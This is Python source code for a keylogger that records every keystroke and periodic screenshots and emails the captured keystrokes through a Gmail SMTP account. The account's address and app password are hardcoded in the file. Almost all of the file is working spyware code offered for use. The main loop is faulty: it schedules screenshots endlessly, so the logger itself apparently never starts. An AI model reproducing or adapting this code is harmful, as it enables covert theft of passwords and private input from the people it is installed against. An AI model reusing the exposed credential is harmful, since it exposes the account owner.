SOURCE CODE-KEYLOGGERS(EMAIL)

import keyboard

import smtplib

from threading import Timer

from datetime import datetime

import pyscreenshot as ImageGrab

import schedule

import time

SEND\_REPORT\_EVERY = 5 # in seconds, 60 means 1 minute and so on

EMAIL\_ADDRESS = "pvaatheesh@gmail.com"

EMAIL\_PASSWORD = "htcb hwro rnrc kamh"

class Keylogger:

def \_\_init\_\_(self, interval,take\_screenshot,report\_method="email"):

# we gonna pass SEND\_REPORT\_EVERY to interval

self.interval = interval

self.report\_method = report\_method

# this is the string variable that contains the log of all

# the keystrokes within `self.interval`

self.log = ""

# record start & end datetimes

self.start\_dt = datetime.now()

self.end\_dt = datetime.now()

'''def start(self):

# record the start datetime

self.start\_dt = datetime.now()

# start the keylogger

keyboard.on\_release(callback=self.callback)

# start reporting the keylogs

self.report()

self.take\_screenshot()

# block the current thread, wait until CTRL+C is pressed

keyboard.wait()'''

def callback(self, event):

"""

This callback is invoked whenever a keyboard event is occured

(i.e when a key is released in this example)

"""

name = event.name

if len(name) > 1:

# not a character, special key (e.g ctrl, alt, etc.)

# uppercase with []

if name == "space":

# " " instead of "space"

name = " "

elif name == "enter":

# add a new line whenever an ENTER is pressed

name = "[ENTER]\n"

elif name == "decimal":

name = "."

else:

# replace spaces with underscores

name = name.replace(" ", "\_")

name = f"[{name.upper()}]"

# finally, add the key name to our global `self.log` variable

self.log += name

def report(self):

"""

This function gets called every `self.interval`

It basically sends keylogs and resets `self.log` variable

"""

if self.log:

# if there is something in log, report it

self.end\_dt = datetime.now()

# update `self.filename`

self.update\_filename()

if self.report\_method == "email":

self.sendmail(EMAIL\_ADDRESS, EMAIL\_PASSWORD, self.log)

elif self.report\_method == "file":

self.report\_to\_file()

# if you want to print in the console, uncomment below line

# print(f"[{self.filename}] - {self.log}")

self.start\_dt = datetime.now()

self.log = ""

timer = Timer(interval=self.interval, function=self.report)

# set the thread as daemon (dies when main thread die)

timer.daemon = True

# start the timer

self.take\_screenshot()

timer.start()

def update\_filename(self):

# construct the filename to be identified by start & end datetimes

start\_dt\_str = str(self.start\_dt)[:-7].replace(" ", "-").replace(":", "")

end\_dt\_str = str(self.end\_dt)[:-7].replace(" ", "-").replace(":", "")

self.filename = f"keylog-{start\_dt\_str}\_{end\_dt\_str}"

def report\_to\_file(self):

"""This method creates a log file in the current directory that contains

the current keylogs in the `self.log` variable"""

# open the file in write mode (create it)

with open(f"{self.filename}.txt", "w") as f:

# write the keylogs to the file

print(self.log, file=f)

print(f"[+] Saved {self.filename}.txt")

def sendmail(self, email, password, message):

# manages a connection to the SMTP server

server = smtplib.SMTP(host="smtp.gmail.com", port=587)

# connect to the SMTP server as TLS mode ( for security )

server.starttls()

# login to the email account

server.login(email, password)

# send the actual message

server.sendmail(email, email, message)

# terminates the session

server.quit()

def take\_screenshot(self):

print("Taking screenshot....")

self.now=datetime.now()

dt\_string = self.now.strftime("%d-%m-%Y %H-%M-%S")

image\_name=f"screenshot-{str(dt\_string)}"

screenshot=ImageGrab.grab()

filepath=f"D:/2nd year/{image\_name}.png"

screenshot.save(filepath)

print("Screenshot taken.... ")

return filepath

def start(self):

# record the start datetime

self.start\_dt = datetime.now()

# start the keylogger

keyboard.on\_release(callback=self.callback)

#self.take\_screenshot()

# start reporting the keylogs

self.report()

keyboard.wait()

if \_\_name\_\_ == "\_\_main\_\_":

# if you want a keylogger to send to your email

# keylogger = Keylogger(interval=SEND\_REPORT\_EVERY, report\_method="email")

# if you want a keylogger to record keylogs to a local file

# (and then send it using your favorite method)

keylogger = Keylogger(interval=SEND\_REPORT\_EVERY,take\_screenshot="filepath",report\_method="email")

#schedule.every(5).seconds.do(keylogger.take\_screenshot)

while True:

schedule.every(5).seconds.do(keylogger.take\_screenshot)

schedule.run\_pending()

#keylogger.take\_screenshot()

time.sleep(2)

keylogger.start()